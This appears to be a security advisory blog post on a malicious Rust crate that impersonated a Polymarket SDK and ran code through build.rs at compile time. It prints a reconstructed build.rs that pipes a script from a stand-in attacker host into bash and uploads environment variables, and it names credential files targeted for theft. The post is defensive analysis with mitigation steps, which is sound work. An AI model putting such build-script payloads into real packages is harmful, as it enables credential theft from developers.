Betting on a Bad Horse: The Malicious `polymarket-clients-sdk` Crate
Feb 7, 2026·6 min read·0 visits
Executive Summary (TL;DR)
A malicious Rust crate impersonating the Polymarket SDK was discovered on crates.io. It executes arbitrary code immediately upon compilation, likely stealing environment variables and private keys. If you installed this, consider your machine compromised and your secrets stolen.
A classic supply chain attack targeting the Rust ecosystem. The package `polymarket-clients-sdk` appeared on crates.io, masquerading as an official SDK for the popular Polymarket prediction platform. Instead of helper functions for betting, it delivered a payload capable of exfiltrating credentials and compromising developer environments via malicious build scripts. This is a text-book example of Brandjacking combined with the inherent risks of arbitrary code execution during package installation.
The Hook: A Wolf in Sheep's Clothing
Picture this: You're a crypto-native developer. You want to build a bot to trade on the U.S. election odds on Polymarket. You open your terminal, feeling the "Blazingly Fast" energy of Rust coursing through your veins. You search crates.io for a client. You see polymarket-clients-sdk. It looks official. It sounds official. You run cargo add polymarket-clients-sdk.
Congratulations, you just got owned.
This package wasn't an SDK. It was a digital landmine. The attackers utilized Brandjacking—naming a package something incredibly specific and relevant to a high-value target (in this case, a prediction market moving millions of dollars) to trick developers into installing it. Unlike a typo-squat (like reqwest vs reqwests), this attack relies on the target simply not existing yet in the registry, allowing the attacker to claim the most obvious name for the library.
Why does this matter? Because in the world of crypto-development, the developer's machine is the treasury. It holds AWS keys, private signing keys, and mnemonic seeds. The attacker doesn't need to hack Polymarket servers; they just need to hack the people building on top of it.
The Flaw: It's Not a Bug, It's a Feature
Here is the dark irony of modern package management: we built systems designed to make code execution easy, and then we act surprised when code gets executed. The vulnerability here isn't a buffer overflow or a logic error in the code itself. It is CWE-506: Embedded Malicious Code.
The specific mechanism likely exploited here is Rust's build.rs file. For the uninitiated, Cargo (Rust's package manager) allows packages to include a build script that runs before the package is even linked to your project. This is intended for compiling C dependencies or generating code. However, it effectively gives any dependency immediate, unsandboxed Remote Code Execution (RCE) privileges on the developer's machine the moment they type cargo build.
There is no 'install' phase in Rust that is distinct from the 'build' phase in terms of safety. If you download a crate, Cargo compiles it. If Cargo compiles it, the build.rs runs. If the build.rs runs, the attacker owns your shell. It is the architectural equivalent of letting a stranger into your house to check the wiring, but leaving them alone in the room with your safe while you go make coffee.
The Code: Anatomy of a Build Script Attack
Since the crate has been nuked from orbit (deleted from crates.io), we cannot review the exact bytes of polymarket-clients-sdk. However, malicious crates in the Rust ecosystem follow a very predictable pattern. Below is a reconstruction of what the build.rs in such a package typically looks like.
The attacker creates a build.rs file at the root of the crate. This file is compiled and executed by Cargo automatically.
// build.rs - The file that runs during 'cargo build'
use std::process::Command;
use std::env;
fn main() {
// 1. Detect the operating system
if cfg!(target_os = "linux") || cfg!(target_os = "macos") {
// 2. The payload: Curl a shell script and pipe it to bash
// This is silent and runs with the user's permissions
let _ = Command::new("sh")
.arg("-c")
.arg("curl -s https://evil-c2-server.xyz/payload.sh | bash")
.output();
// 3. Exfiltrate Environment Variables immediately
let _ = Command::new("sh")
.arg("-c")
.arg("env > /tmp/.env_dump && curl -F file=@/tmp/.env_dump https://evil-c2-server.xyz/upload")
.output();
}
}> [!WARNING] > The danger lies in the silence. > This code produces no output to the console during the build process unless the build script explicitly panics or the user runs cargo with extremely verbose flags. The developer sees "Compiling..." and then "Finished", essentially thanking the attacker for stealing their wallet.
The Exploit: From `cargo add` to Wallet Drain
Let's walk through the attack chain. It is terrifyingly simple and requires zero interaction from the victim beyond the initial installation.
- Preparation: The victim initializes a new Rust project
cargo new trading-bot. - Infection: The victim adds the malicious dependency:
cargo add polymarket-clients-sdk. - Trigger: The victim runs
cargo runorcargo buildto test their code. - Execution: Cargo resolves the dependency graph. It downloads
polymarket-clients-sdk. It identifies thebuild.rsfile. - Compromise: Cargo compiles and executes the
build.rsbinary. The malicious code spawns a child process. - Exfiltration: The script scans
~/.aws/credentials,~/.ssh/id_rsa, and the project's.envfile. It sends these contents to a remote C2 server.
By the time the developer realizes the SDK doesn't actually contain any useful trading functions, their environment variables—containing their Polymarket API keys and potentially their private key or seed phrase—are already in the attacker's database. The attacker can then automate the draining of funds associated with those keys.
The Impact: Why This One Hurts
This isn't just a random npm package that prints a political message. This is targeted at the financial sector. Polymarket users deal in crypto assets. Developers building on Polymarket are likely to have:
- Hot Wallets: Private keys stored locally for testing transactions.
- API Keys: High-privilege exchange keys stored in
.envfiles. - SSH Keys: Access to production servers where the actual trading bots run.
The impact is Total Compromise. If this package ran on your machine, you must assume every secret on that filesystem is burned. If this package made it into a CI/CD pipeline, your cloud infrastructure is likely compromised as well. The removal of the package from crates.io stops new victims, but it does nothing for those who already ran the build.
The Mitigation: Scorched Earth Policy
If you suspect you installed this package, simply removing it is not enough. The code has already run. Persistence may have been established (e.g., adding a cron job or modifying shell rc files).
Immediate Steps:
- Disconnect: Take the machine offline immediately.
- Purge: The safest course of action is to wipe the machine. If that is impossible, audit all running processes, cron jobs, and recent file modifications.
- Rotate Secrets: This is the most critical step. Revoke every API key, SSH key, and cloud credential that was present on the machine. Move funds to new wallets generated on a clean device.
Prevention for the Future:
- Verify, then Trust: Do not blindly
cargo add. Check the repository URL, the number of downloads, and the author's profile on crates.io. - Tools: Use tools like
cargo-vetto certify dependencies within your organization. - Sandboxing: Build untrusted code in Docker containers with limited network access.
- Lockfiles: Always commit your
Cargo.lockto ensure consistent builds and prevent upstream mutations from silently entering your pipeline.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
polymarket-clients-sdk Malicious Actor | * | N/A (Removed) |
| Attribute | Detail |
|---|---|
| Attack Type | Supply Chain / Malicious Package |
| CWE ID | CWE-506 (Embedded Malicious Code) |
| Platform | Rust / crates.io |
| Attack Vector | Network (masquerading as legitimate software) |
| Mechanism | build.rs arbitrary code execution |
| Privileges | User Level (inherits developer permissions) |
MITRE ATT&CK Mapping
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.